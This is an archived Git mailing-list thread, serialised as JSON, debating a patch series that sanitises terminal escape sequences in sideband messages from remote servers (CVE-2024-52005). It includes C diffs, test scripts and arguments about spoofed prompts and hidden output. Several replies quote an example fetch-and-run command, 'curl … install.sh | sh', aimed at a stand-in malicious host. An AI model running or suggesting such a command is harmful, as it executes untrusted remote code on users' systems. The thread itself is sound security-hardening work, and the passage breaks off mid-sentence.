a/sideband.c b/sideband.c\n> index 02805573fab..c0b1cb044a3 100644\n> --- a/sideband.c\n> +++ b/sideband.c\n> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n>  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n>  }\n>  \n> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n> +{\n> +\tstrbuf_grow(dest, n);\n> +\tfor (; n && *src; src++, n--) {\n> +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n\nThe argument of iscntrl needs to be converted to unsigned char.\n\n-- \nAndreas Schwab, schwab@linux-m68k.org\nGPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1\n\"And now for something completely different.\"\n"},{"id":"510578","messageId":"xmqqo708yrim.fsf@gitster.g","threadId":"62809","inReplyTo":"87sepk14yk.fsf@igel.home","subject":"Re: [PATCH 1/3] sideband: mask control characters","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2025-01-15T16:24:17Z","receivedAt":"2025-01-15T16:24:20Z","isPatch":true,"body":"Andreas Schwab <schwab@linux-m68k.org> writes:\n\n> On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:\n>\n>> diff --git a/sideband.c b/sideband.c\n>> index 02805573fab..c0b1cb044a3 100644\n>> --- a/sideband.c\n>> +++ b/sideband.c\n>> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n>>  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n>>  }\n>>  \n>> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n>> +{\n>> +\tstrbuf_grow(dest, n);\n>> +\tfor (; n && *src; src++, n--) {\n>> +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n>\n> The argument of iscntrl needs to be converted to unsigned char.\n\nIf this were system-provided one, you are absolutely correct.\n\nBut I think this comes from \n\nsane-ctype.h:15:#undef iscntrl\nsane-ctype.h:40:#define iscntrl(x) (sane_istest(x,GIT_CNTRL))\n\nand sane_istest() does the casting to uchar for us, so this may be\nOK (even if it may be a bit misleading).\n\n"},{"id":"510636","messageId":"xmqqwmevtfye.fsf@gitster.g","threadId":"62809","inReplyTo":"Z4bqMYKRP7Gva5St@tapette.crustytoothpaste.net","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2025-01-16T06:45:13Z","receivedAt":"2025-01-16T06:45:17Z","isPatch":true,"body":"\"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n\n> Where pre-receive hooks are available, people frequently run various\n> commands to test and analyze code in them, including build or static\n> analysis tools, such as Rust's Cargo.  Cargo is capable of printing a\n> wide variety of escape sequences in its output, including `\\e[K`, which\n> overwrites text to the right (e.g., for progress bars and status output\n> much like Git produces), and sequences for hyperlinks.  Stripping these\n> sequences would break the output in ways that would be confusing to the\n> user (since they work fine in a regular terminal) and hard to\n> reproduce or fix.\n\nYou have ruled out the attack vector that lets bytestream sent to\nthe terminal emulator to somehow cause arbitrary input bytes added\n(which may require the final <ENTER> from the user but that is not\nmuch of consolation), and I tend to agree with you on that point.\n\nWith that misfeature out of the picture, I am not sure why terminal\nescape sequences that may clear or write-over things on the screen\nare of particular interest.  If the malicious remote end says\nsomething like\n\n    To proceed, open another window and type this command:\n\n\t$ curl https://my.malicious.xz/install.sh | sh\n\nto its output, even if the message is shown with the \"remote: \"\nprefix on the receiving local client, wouldn't that cause certain\npercentage of end-user population to copy-and-paste that command\nanyway?\n\n> I agree that this would have been a nice feature to add at the beginning\n> of the development of the sideband feature, but I fear that it is too\n> late to make an incompatible change now.\n\nSo I am not so sure even it would have been a \"nice feature\" to disallow\nsideband messages to carry terminal escape sequences to begin with.\n\n> I realize that you've provided an escape hatch, but as we've seen with\n> other defense-in-depth measures, that doesn't avoid the inconvenience\n> and hassle of dealing with those changes and the costs of deploying\n> fixes everywhere.\n\nOne more thing that I am not so happy about these \"escape hatches\"\nis that they tend to be all or nothing (not limited to this round,\nbut common to other defense-in-depth attempts).  Having to say \"I\ntrust them completely\" is something that would make people uneasy.\n\n> We need to consider the costs and impact of these\n> patches on our users, including the burden of dealing with incompatible\n> changes, and given the fact that this problem can occur in a wide\n> variety of other contexts which you are not solving here and which would\n> be better solved more generally in terminal emulators themselves, I\n> don't think the benefits of this approach outweigh the downsides.\n>\n> I do agree that there are terminal emulators which have some surprising\n> and probably insecure behaviour, as we've discussed in the past, but\n> because I believe those issues are more general and could be a problem\n> for any terminal-using program, I continue to believe that those issues\n> are best addressed in the terminal emulator itself.\n"},{"id":"511355","messageId":"CA+B51BHQe_X=b9ncuwhBDi873OAZst=PAULiARs0NARy58VfnA@mail.gmail.com","threadId":"62809","inReplyTo":"xmqqwmevtfye.fsf@gitster.g","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Ondrej Pohorelsky","fromEmail":"opohorel@redhat.com","sentAt":"2025-01-28T16:03:03Z","receivedAt":"2025-01-28T16:03:20Z","isPatch":true,"body":"Hi,\nI see that CVE-2024-52005 [0] has been assigned to this issue. From\nthe discussion, it seems the fix may not be shipped in the near\nfuture, if at all.\n\nCould you please confirm if I understand this correctly? Specifically,\nthat this is not being treated as a vulnerability and that the\nproposed fix might introduce regressions for certain use cases?\nWe are bound by SLAs and need to decide soon whether to provide fixed\nversions of Git in RHEL. Having clarity on the upstream stance would\nbe very helpful for our decision. Right now, we are inclined not to\nship these fixes unless they are accepted upstream.\n\n[0] https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329\n\n\nBest regards,\nOndřej Pohořelský\n\n\nOn Thu, Jan 16, 2025 at 7:47 AM Junio C Hamano <gitster@pobox.com> wrote:\n>\n> \"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n>\n> > Where pre-receive hooks are available, people frequently run various\n> > commands to test and analyze code in them, including build or static\n> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a\n> > wide variety of escape sequences in its output, including `\\e[K`, which\n> > overwrites text to the right (e.g., for progress bars and status output\n> > much like Git produces), and sequences for hyperlinks.  Stripping these\n> > sequences would break the output in ways that would be confusing to the\n> > user (since they work fine in a regular terminal) and hard to\n> > reproduce or fix.\n>\n> You have ruled out the attack vector that lets bytestream sent to\n> the terminal emulator to somehow cause arbitrary input bytes added\n> (which may require the final <ENTER> from the user but that is not\n> much of consolation), and I tend to agree with you on that point.\n>\n> With that misfeature out of the picture, I am not sure why terminal\n> escape sequences that may clear or write-over things on the screen\n> are of particular interest.  If the malicious remote end says\n> something like\n>\n>     To proceed, open another window and type this command:\n>\n>         $ curl https://my.malicious.xz/install.sh | sh\n>\n> to its output, even if the message is shown with the \"remote: \"\n> prefix on the receiving local client, wouldn't that cause certain\n> percentage of end-user population to copy-and-paste that command\n> anyway?\n>\n> > I agree that this would have been a nice feature to add at the beginning\n> > of the development of the sideband feature, but I fear that it is too\n> > late to make an incompatible change now.\n>\n> So I am not so sure even it would have been a \"nice feature\" to disallow\n> sideband messages to carry terminal escape sequences to begin with.\n>\n> > I realize that you've provided an escape hatch, but as we've seen with\n> > other defense-in-depth measures, that doesn't avoid the inconvenience\n> > and hassle of dealing with those changes and the costs of deploying\n> > fixes everywhere.\n>\n> One more thing that I am not so happy about these \"escape hatches\"\n> is that they tend to be all or nothing (not limited to this round,\n> but common to other defense-in-depth attempts).  Having to say \"I\n> trust them completely\" is something that would make people uneasy.\n>\n> > We need to consider the costs and impact of these\n> > patches on our users, including the burden of dealing with incompatible\n> > changes, and given the fact that this problem can occur in a wide\n> > variety of other contexts which you are not solving here and which would\n> > be better solved more generally in terminal emulators themselves, I\n> > don't think the benefits of this approach outweigh the downsides.\n> >\n> > I do agree that there are terminal emulators which have some surprising\n> > and probably insecure behaviour, as we've discussed in the past, but\n> > because I believe those issues are more general and could be a problem\n> > for any terminal-using program, I continue to believe that those issues\n> > are best addressed in the terminal emulator itself.\n>\n\n\n-- \n\nOndřej Pohořelský\n\nSoftware Engineer\n\nRed Hat\n\nopohorel@redhat.com\n\n"},{"id":"511582","messageId":"xmqqlduq98c9.fsf@gitster.g","threadId":"62809","inReplyTo":"CA+B51BHQe_X=b9ncuwhBDi873OAZst=PAULiARs0NARy58VfnA@mail.gmail.com","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2025-01-31T17:55:18Z","receivedAt":"2025-01-31T17:55:21Z","isPatch":true,"body":"Ondrej Pohorelsky <opohorel@redhat.com> writes:\n\n> From\n> the discussion, it seems the fix may not be shipped in the near\n> future, if at all.\n\nA patchset was sent, one person assessed that it is not solving the\nright problem and introduces regressions, another person agreed.\n\nIt is not quite a discussion (yet) and I think there could be more\nconvincing argument for accepting regressions made, so I personally\nfeel that it is too early to call it settled yet, but without seeing\nany further counter-arguments, I agree with you that things seem\nthat way.\n\nThanks.\n"},{"id":"531556","messageId":"f4a0cf5a-fe35-e038-a78e-e87caef03780@gmx.de","threadId":"62809","inReplyTo":"xmqqwmevtfye.fsf@gitster.g","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2025-12-02T14:11:54Z","receivedAt":"2025-12-02T14:12:07Z","isPatch":true,"body":"Hi Junio,\n\nOn Wed, 15 Jan 2025, Junio C Hamano wrote:\n\n> \"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n> \n> > Where pre-receive hooks are available, people frequently run various\n> > commands to test and analyze code in them, including build or static\n> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a\n> > wide variety of escape sequences in its output, including `\\e[K`, which\n> > overwrites text to the right (e.g., for progress bars and status output\n> > much like Git produces), and sequences for hyperlinks.  Stripping these\n> > sequences would break the output in ways that would be confusing to the\n> > user (since they work fine in a regular terminal) and hard to\n> > reproduce or fix.\n> \n> You have ruled out the attack vector that lets bytestream sent to\n> the terminal emulator to somehow cause arbitrary input bytes added\n> (which may require the final <ENTER> from the user but that is not\n> much of consolation), and I tend to agree with you on that point.\n\nSo you haven't come across `OSC P 1 0 ; ? ST` (see e.g.\nhttps://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST\nfor this control sequence, as well as others that elicit responses from\nterminal emulators, from current cursor position to terminal\ncapabilities)? I use this Escape sequence myself in my `tmux` sessions to\ntoggle the colors between bright-on-dark and dark-on-bright.\n\nIt is true that many terminal emulators started disabling support for such\nEscape sequences. But that's not because the terminal emulators' features\nwere buggy. That's because some console programs are buggy, allowing\npayload originating from outside the user's trust boundary to be passed\nthrough to the terminal without proper sanitizing. That's what the entire\nCWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)\nis all about.\n\nAnd yes, it's the console programs that are buggy, not the terminal\nemulators. It has always been the contract between terminal emulators and\nsoftware using those terminal emulators' features that the bytes that are\nsent to the terminal emulator can do amazing stuff via control sequences\n(that's the terminal emulators' promise) and the responsibility of the\nsoftware sending those bytes, in turn, is to make sure that it only sends\ncontrol characters intentionally and does not nilly-willy pass through\nuntrusted data from random outside sources.\n\nThat's the reason why even `tar` sanitizes its output, see\nhttps://www.gnu.org/software/tar/manual/html_node/quoting-styles.html. Or\nfor that matter, cURL, see https://github.com/curl/curl/pull/1512 where\nEscape sequences were part of the rationale.\n\nWhile `mutt` might not sanitize the Escape sequences in the emails it\ndisplays, it does something even better: It implements its own terminal\nemulator that interprets only a very limited set of ANSI Escape sequences.\nBut since it uses ANSI Escape sequences to render the output, so in a very\nconvoluted way it _does_ sanitize Escape sequences.\n\nBasically, all console programs interacting with terminal emulators are\ncareful about sanitizing untrusted payload before sending it to be\nrendered.\n\nIn short, in this context it is clearly Git's responsibility to ensure\nthat control sequences do not originate from some stranger's server on the\ninternet and then are naively passed through to the terminal emulator\nwithout the user's blessing. Git uses coloring sequences, after all, so it\nbenefits from the contract with the terminal emulator, and it must uphold\nits end of the bargain, too.\n\nGit also does an okay job of avoiding those color sequences when its\noutput does not even go to a terminal emulator, or when the `TERM`\nenvironment variable indicates that the terminal emulator lacks\nthe prerequisite capabilities. (To do a better job, it would have to\nquery the terminal's capabilities, a job better left to libraries like\nncurses).\n\nThat check, whether the output is even sent to a terminal emulator or not,\nis notably something that cannot ever be done by those `pre-receive` hooks\nthat were held up as examples to block this here patch series: They have\nno way of knowing whether or not their output goes to a terminal, but they\nsend the control sequences anyway. Because YOLO, I guess. In that\nrespect, I think that even you two would agree that those `pre-receive`\nhooks are broken by design.\n\n> With that misfeature out of the picture, I am not sure why terminal\n> escape sequences that may clear or write-over things on the screen\n> are of particular interest.\n\nIt is important for attackers to try to hide any traces that might alert\ntheir victims that they are being attacked. One fine way to do that is to\nhide the output that would otherwise scream \"You are under attack!\" to the\nuser. Writing over such tell-tales, or erasing them altogether, is the\nperfect tool for the job. As such, they are clearly of particular interest\nin this context.\n\nSure, it is conceivable that there might be use cases where it _is_\ndesirable that certain text is first written and then overwritten by the\nremote side. But the fact remains that it forcibly keeps open the door to\ndeceive the user into believing that they see something that they do not\nactually see.\n\nFor example, Git goes out of its way to write out sideband messages only\nwith the `remote:` prefix. This is a very clear indicator that these\nmessages do not come from the local Git process, and users are very likely\nto be extremely suspicious if they are prompted for some interactive input\nin such a message. Allow the remote server to overwrite that prefix, and\nyou take away that indicator.\n\nBesides, there are correct ways to send colored, or otherwise styled, text\nto the user from the remote side: The remote side does not have the\nability to ask whether the output goes to a terminal, but the local Git\nprocess does! The logic of color-coding the `error` and `warning` and\nfriends that was added in bf1a11f0a10 (sideband: highlight keywords in\nremote sideband output, 2018-08-07) is a perfect example how this should\nbe done: The client side, the one with access to the terminal emulator,\ndecides what is permissible styling, and the remote side crafts its output\naccordingly. No verbatim pass-through of control sequences, no\nvulnerability, instant win. Well, not so instant, you first have to get\nthe patch on Git's side accepted, but that's par for the course.\n\nNow, the capacities of modern terminal emulators are a far cry from what\nthey had been in the VT-100 times. As in: They have become drastically\nmore powerful. As illustrated at the beginning of my reply, there exist\npowerful features to query information about the current terminal. Not all\nof them are exploitable for malicious purposes on first sight. The crucial\npart is: on first sight.\n\nAlso, it is relatively easy if you fail to protect your terminal emulator\nto have your entire session messed up to a point where not even a `reset`\nrestores it. And corrupting the terminal session is still much better than\ngetting pranked by having all of Git's output be overwritten with a\npicture of a snake (download the raw version of\nhttps://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!\nverifying that it is just a regular text file containing only a few\nharmless escape sequences~ -- and then `cat` it to your terminal). That\ncould have been goatse, too, though. Or for that matter (as\nhttps://github.com/mpv-player/mpv demonstrates, which allows you to render\nentire Youtube videos in your current terminal window) you could be\nRick-rolled. And all of those are still pranks more than anything. Much\nworse can be done with those terminal emulator capabilities.\n\n> If the malicious remote end says something like\n> \n>     To proceed, open another window and type this command:\n> \n> \t$ curl https://my.malicious.xz/install.sh | sh\n> \n> to its output, even if the message is shown with the \"remote: \"\n> prefix on the receiving local client, wouldn't that cause certain\n> percentage of end-user population to copy-and-paste that command\n> anyway?\n\nSure, and there is no defending against users who voluntarily follow such\ninstructions without applying some healthy skepticism first. Not in Git,\nanyways.\n\nThe kind of control illustrated above, however, can of course also be used\nto pretend that _Git_ asks interactively for some input, using the exact\nlook&feel of Git's usual interactive prompts. And presented with something\nlike that, I would wager a bet that even you could fall for an elaborate\nruse, if I were a betting person. If I were still a student, with too much\ntime on my hands, I'd even try to prank you that way, purely for fun.\n\nFor the record, I was almost successfully gas-lit into believing that this\nhere issue is not even a vulnerability, as was claimed by some (but not\nall) involved in the discussion on the Git security list. Fortunately I am\nin a wonderful position that I have access to outstanding security\nresearchers, and I asked two of them, independently, to tell me whether or\nnot this is a vulnerability that needs to be fixed. Independently, both\nagreed that my assessment \"High\" was too high, and it should have been\n\"Moderate\" instead. At the same time, they also both agreed that it is a\nvulnerability that should be fixed in Git.\n\nI did hear that Google employs some excellent security professionals, too.\nWhile I cannot ask them directly, I would be quite curious what they would\nhave to say about this issue. Maybe you could contact one or two?\n\nCiao,\nJohannes\n\n> \n> > I agree that this would have been a nice feature to add at the beginning\n> > of the development of the sideband feature, but I fear that it is too\n> > late to make an incompatible change now.\n> \n> So I am not so sure even it would have been a \"nice feature\" to disallow\n> sideband messages to carry terminal escape sequences to begin with.\n> \n> > I realize that you've provided an escape hatch, but as we've seen with\n> > other defense-in-depth measures, that doesn't avoid the inconvenience\n> > and hassle of dealing with those changes and the costs of deploying\n> > fixes everywhere.\n> \n> One more thing that I am not so happy about these \"escape hatches\"\n> is that they tend to be all or nothing (not limited to this round,\n> but common to other defense-in-depth attempts).  Having to say \"I\n> trust them completely\" is something that would make people uneasy.\n> \n> > We need to consider the costs and impact of these\n> > patches on our users, including the burden of dealing with incompatible\n> > changes, and given the fact that this problem can occur in a wide\n> > variety of other contexts which you are not solving here and which would\n> > be better solved more generally in terminal emulators themselves, I\n> > don't think the benefits of this approach outweigh the downsides.\n> >\n> > I do agree that there are terminal emulators which have some surprising\n> > and probably insecure behaviour, as we've discussed in the past, but\n> > because I believe those issues are more general and could be a problem\n> > for any terminal-using program, I continue to believe that those issues\n> > are best addressed in the terminal emulator itself.\n> \n> \n"},{"id":"531559","messageId":"038dc330-3353-25a7-aa58-f4989cdd391c@gmx.de","threadId":"62809","inReplyTo":"8570a129-d66a-465a-905e-0a077c69c409@gmail.com","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2025-12-02T14:56:58Z","receivedAt":"2025-12-02T14:57:01Z","isPatch":true,"body":"Hi Phillip,\n\nOn Wed, 15 Jan 2025, Phillip Wood wrote:\n\n> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:\n> > When a clone fails, users naturally turn to the output of the git\n> > clone command. To assist in such scenarios, the output includes the messages\n> > from the remote git pack-objects process, delivered via what Git calls the\n> > \"sideband channel.\"\n> > \n> > Given that the remote server is, by nature, remote, there is no guarantee\n> > that it runs an unmodified Git version. This exposes Git to ANSI escape\n> > sequence injection (see\n> > CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt\n> > terminal state, hide information,\n> \n> I agree we should think about preventing an untrusted remote process from\n> making it look like its messages come from the trusted local process. At best\n> it is confusing and at worst it might trick a user into running a malicious\n> command if they think the message came from the local git process.\n\nIt's actually much worse. With the right approach, you could trick a user\nto think that they interact with Git, when in reality they are executing a\ncommand instead.\n\n> We need to be careful not to break existing legitimate output though.\n\nWell, given that that \"legitimate output\" sends control sequences, whether\nthe output goes to a terminal window or to a pipe to be parsed by an\napplication, I don't think that it is _all_ that legitimate.\n\nBut then, I don't know why some people keep harping about this when the\npatch series as-is already passes those color sequences through by\ndefault?\n\n> Brian has already highlighted the need to support '\\e[K' (clear to the\n> end of the current line), we may also want to treat '\\e[G' (move to\n> column 1 on the current line) as '\\r' in addition to SGR escapes in the\n> last patch.\n\nConsider this: One of the most effective ways to fool a victim is to hide\nsuspicious information from them. In that respect, it is undesirable to\npass through those sequences that would allow just that.\n\nBesides, color me surprised that this is even necessary? What use case\ncould there be to erase to the end of the line from a remote process, when\nthat process' output is supposed to be text that arrives word by word,\nline by line, no backsies? What use case would be there to send a Carriage\nReturn other than to hide the `remote:` prefix?\n\nI did play with the idea of optionally passing through those two\nsequences, though, and came up with this patch (don't worry if it does not\napply on top of v1 of this here patch series, my local branch is currently\na bit in flux):\n\n-- snip --\ndiff --git a/sideband.c b/sideband.c\nindex 0025b51b4e1..f613d4d6cc3 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -28,9 +28,42 @@ static struct keyword_entry keywords[] = {\n static enum {\n \tALLOW_NO_CONTROL_CHARACTERS = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\tALLOW_ANSI_ERASE_IN_LINE = 1<<1,\n+\tALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE = 1<<2,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES =\n+\t\tALLOW_ANSI_COLOR_SEQUENCES |\n+\t\tALLOW_ANSI_ERASE_IN_LINE |\n+\t\tALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\n+static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n+\t\t\t\t     const char **out)\n+{\n+\tif (!skip_prefix(value, prefix, &value) ||\n+\t    (*value && *value != ','))\n+\t\treturn 0;\n+\t*out = value + !!*value;\n+\treturn 1;\n+}\n+\n+static void parse_allow_control_characters(const char *value)\n+{\n+\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\twhile (*value) {\n+\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n+\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"erase-in-line\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE_IN_LINE;\n+\t\telse if (skip_prefix_in_csv(value, \"cursor-horizontal-absolute\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t}\n+}\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -54,13 +87,8 @@ static int use_sideband_colors(void)\n \t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n \t\t\t\t\t      &value))\n \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse if (!strcmp(value, \"default\"))\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (!strcmp(value, \"color\"))\n-\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\tparse_allow_control_characters(value);\n \t\tbreak;\n \tdefault:\n \t\tbreak; /* not configured */\n@@ -93,7 +121,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n@@ -107,12 +135,17 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int\n \t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n \t */\n \n-\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n-\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\tif (n < 3 || src[0] != '\\x1b' || src[1] != '[')\n \t\treturn 0;\n \n+error(\"allow: 0x%x\", allow_control_characters);\n \tfor (i = 2; i < n; i++) {\n-\t\tif (src[i] == 'm') {\n+\t\tif ((src[i] == 'G' &&\n+\t\t     (allow_control_characters & ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE)) ||\n+\t\t    (src[i] == 'K' &&\n+\t\t     (allow_control_characters & ALLOW_ANSI_ERASE_IN_LINE)) ||\n+\t\t    (src[i] == 'm' &&\n+\t\t     (allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES))) {\n \t\t\tstrbuf_add(dest, src, i + 1);\n \t\t\treturn i;\n \t\t}\n@@ -127,7 +160,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n-\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n+\tif ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -136,7 +169,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n \t\t\tstrbuf_addch(dest, *src);\n-\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\telse if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n+\t\t\t (i = handle_ansi_sequence(dest, src, n))) {\n \t\t\tsrc += i;\n \t\t\tn -= i;\n \t\t} else {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 98c575e2e7f..a59accd0ec2 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -104,7 +104,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n-\ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n \n \tgit clone --no-local . throw-away 2>stderr &&\n@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_file_not_empty actual\n '\n \n+test_decode_csi() {\n+\tawk '{\n+\t\twhile (match($0, /\\033/) != 0) {\n+\t\t\tprintf \"%sCSI \", substr($0, 1, RSTART-1);\n+\t\t\t$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);\n+\t\t}\n+\t\tprint\n+\t}'\n+}\n+\n+test_expect_success 'control sequences in sideband allowed by default' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit-at-least &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"CSI \\\\[G\" decoded &&\n+\ttest_grep \"\\\\^\\\\[?25l\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=erase-in-line,color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"RED\" decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"CSI \\\\[G\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded &&\n+\ttest_grep \"\\\\^\\\\[\\\\[G\" decoded\n+'\n+\n test_done\n-- snap --\n\nI am not particularly happy about the current shape of the patch because\nthe functionality it adds is not flexible enough. Currently I am thinking\nabout some sort of pattern matcher where users could configure\n`sideband.allowControlCharacters=\"CSI [ K, CSI [ G\"` or something. Or\n`^[[K,^[[G`, i.e. reflecting the sanitized version of the control\nsequences that should be passed through instead. But that might be totally\noverengineered and not worth it.\n\nAfter all, I have not received a single complaint about the new default in\nGit for Windows, where only color sequences are passed through by default,\nand all others are sanitized. which leads me to the very important\nconclusion that the concerns that were raised, and that were considered\nserious enough to prevent these patches to be included in the embargoed\nrelease, were potentially far, far less concerning than originally\nassumed.\n\nAlso: The suggestion on the git-security mailing list was to reach out for\ninput from the wider Git community to be able to come up with a better\nsolution than the small circle of developers on the git-security mailing\nlist could. Notwithstanding the fact that already the first reply to my\npatch series sent a very strong message that at least one contributor\nconsidered this already a closed case upon arrival, I have to point out\nthat apart from the ERASE-IN-LINE and CURSOR_HORIZONTAL_ABSOLUTE\nsuggestions, no other control sequences have been suggested as needing to\nbe passed through by default. And those suggestions came from someone who\nhad already been very vocal in the discussion on the git-security mailing\nlist, so maybe the suggestion to reach out to the wider commmunity was not\nactually completely genuine interest in an improved patch series.\n\nBesides, _iff_ there are users who need to enable control sequence\npass-through for anything else than color, they are likely to need that\nonly for a very small number of repositories, and for repositories whose\nremote servers they trust, therefore they can easily just opt out of\nsanitizing control sequences in those few repositories.\n\n> > and even insert characters into the input buffer (as if the user had\n> > typed those characters).\n> \n> Maybe I've missed something but my understanding from the link above is that\n> this is a non-issue for terminal emulators released in the last 20 years.\n\nOh, that's incorrect, at least if you talk about control sequences that\ninsert characters into the input buffer. Those control sequences which let\nyou query the terminal are used e.g. to determine the current window\ndimensions. They very much insert characters into the input buffer. They\nhave to, there is no other way to return information back to the caller.\n\nMaybe the _particular_ Escape sequence I talked about, to query the\nforeground text color, has been quietly disabled in some terminal\nemulators (but certainly not in all of them, I know, because I use that\nfeature in one of my terminal emulators all the time).\n\nBut I did caution already in the discussion on the git-security mailing\nlist against getting hung up with _one particular_ control sequence. Not\nonly does that forget about all the other wonderful control sequences used\nfor querying information from the terminal, they also completely neglect\nthat it is totally within terminal emulators' purview to introduce new\ncapabilities via new control sequences. Some people in this dicussion\nwould probably deem 